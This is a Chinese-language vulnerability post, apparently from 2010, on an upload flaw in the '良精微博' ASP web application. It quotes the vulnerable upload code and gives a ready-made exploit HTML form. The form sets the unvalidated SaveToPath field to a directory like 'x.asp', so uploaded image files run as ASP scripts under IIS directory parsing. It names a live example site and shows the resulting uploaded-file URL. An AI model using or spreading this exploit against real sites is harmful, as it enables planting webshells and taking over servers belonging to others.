良精微博IIS解析上传漏洞
By.joken's、wdlei
本人技术有限,和朋友发掘此漏洞,大牛飘过。
近日,站长下载站上的良精微博程序又更新了。
更新时间为2010年7月13日,更新了皮肤和修改了上传漏洞,但依旧存在漏洞问题。
漏洞文件:UpFileForm.asp
代码:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<link rel="stylesheet" href="Images/CssAdmin.css">
<title>文件选择</title>
</head>
<body style="background-color:#FFFFFF;">
<table width="400" border="0" align="center" cellpadding="12" cellspacing="1" bgcolor="#6ab6b6">
<form action="UpFileSave.asp?Result=<%=request.QueryString("Result")%>" method="post" enctype="multipart/form-data" name="formUpload">
<tr>
<td bgcolor="#eafefe">
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="60" height="30" nowrap>选择文件:</td>
<td><input name="FromFile" type="file" class="textfield" id="FromFile" size="41"></td>
</tr>
<tr>
<td height="30">上传位置:</td>
<td><select name="SaveToPath" class="textfield">
<option value="../uploadfile/PicFiles/" selected>图片文件 /uploadfile/PicFiles</option>
<option value="../uploadfile/DownFiles/">下载文件 /uploadfile/DownFiles</option>
<option value="../uploadfile/OtherFiles/">其他文件 /uploadfile/OtherFiles</option>
</select></td>
</tr>
<tr>
<td height="36" colspan="2" align="center" valign="bottom"><input name="reset" type="reset" class="button" value=" 重置 ">
<input name="Submit" type="submit" class="button" value=" 上传 "></td>
</tr>
</table>
</td>
</tr>
</form>
</table>
</body>
</html>
可以自行定义上传目录。
继续往下看代码,来到action的文件中看下
../UpFileSave.asp
保存目录代码部分:
SaveToPath=Upload.form("SaveToPath") '文件保存目录,此目录必须为程序可读写
if SaveToPath="" then
SaveToPath="../"
end if
'在目录后加(/)
if right(SaveToPath,1)<>"/" then
SaveToPath=SaveToPath&"/"
end if
for each FormName in Upload.file '列出所有上传了的文件
set file=Upload.file(FormName) '生成一个文件对象
if file.Filesize<100 then
response.write "请先选择您要上传的文件,<a href=# onclick=history.go(-1)>返回</a> !"
response.end
end if
FileExt=lcase(File.FileExt)
if CheckFileExt(FileEXT)=false then
response.write "文件格式不允许上传,<a href=# onclick=history.go(-1)>返回</a> !"
response.end
end if
randomize timer
RanNum=int(9000*rnd)+1000
Filename=SaveToPath&year(now)&"."&month(now)&"."&day(now)&"_"&hour(now)&"."&minute(now)&"."&Second(now)&"_"&RanNum&"."&fileExt
if file.FileSize>0 then '如果 FileSize > 0 说明有文件数据
Result=file.SaveToFile(Server.mappath(FileName)) '保存文件
为对所提交的目录名进行检查和过滤,导致漏洞产生。
利用如下:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0032)http://t.itf4.com/UpFileForm.asp -->
<HTML><HEAD><TITLE>文件选择</TITLE>
<META http-equiv=Content-Type content="text/html; charset=utf-8"><LINK href="Images/CssAdmin.css" rel=stylesheet>
<META content="MSHTML 6.00.2900.3492" name=GENERATOR></HEAD>
<BODY style="BACKGROUND-COLOR: #ffffff">
<TABLE cellSpacing=1 cellPadding=12 width=400 align=center bgColor=#6ab6b6
border=0>
<FORM name=formUpload action=http://提交地址/UpFileSave.asp?Result= method=post encType=multipart/form-data>
<TBODY>
<TR>
<TD bgColor=#eafefe>
<TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
<TBODY>
<TR>
<TD noWrap width=60 height=30>选择文件:</TD>
<TD><INPUT class=textfield id=FromFile type=file size=41 name=FromFile></TD></TR>
<TR>
<TD height=30>上传位置:</TD>
<TD><SELECT class=textfield name=SaveToPath> <OPTION value=../../自定义解析目录名:如x.asp selected>图片文件 /uploadfile/自定义解析目录名</OPTION>
<TR>
<TD vAlign=bottom align=middle colSpan=2 height=36><INPUT class=button type=reset value=" 重置 " name=reset>
<INPUT class=button type=submit value=" 上传 " name=Submit></TD></TR></TBODY></TABLE></TD></TR></FORM></TBODY></TABLE></BODY></HTML>
上传地址如:http://t.itf4.com/uploadfile/x.asp/2010.7.17_9.33.58_5882.jpg
附两张图:
留言评论(旧系统):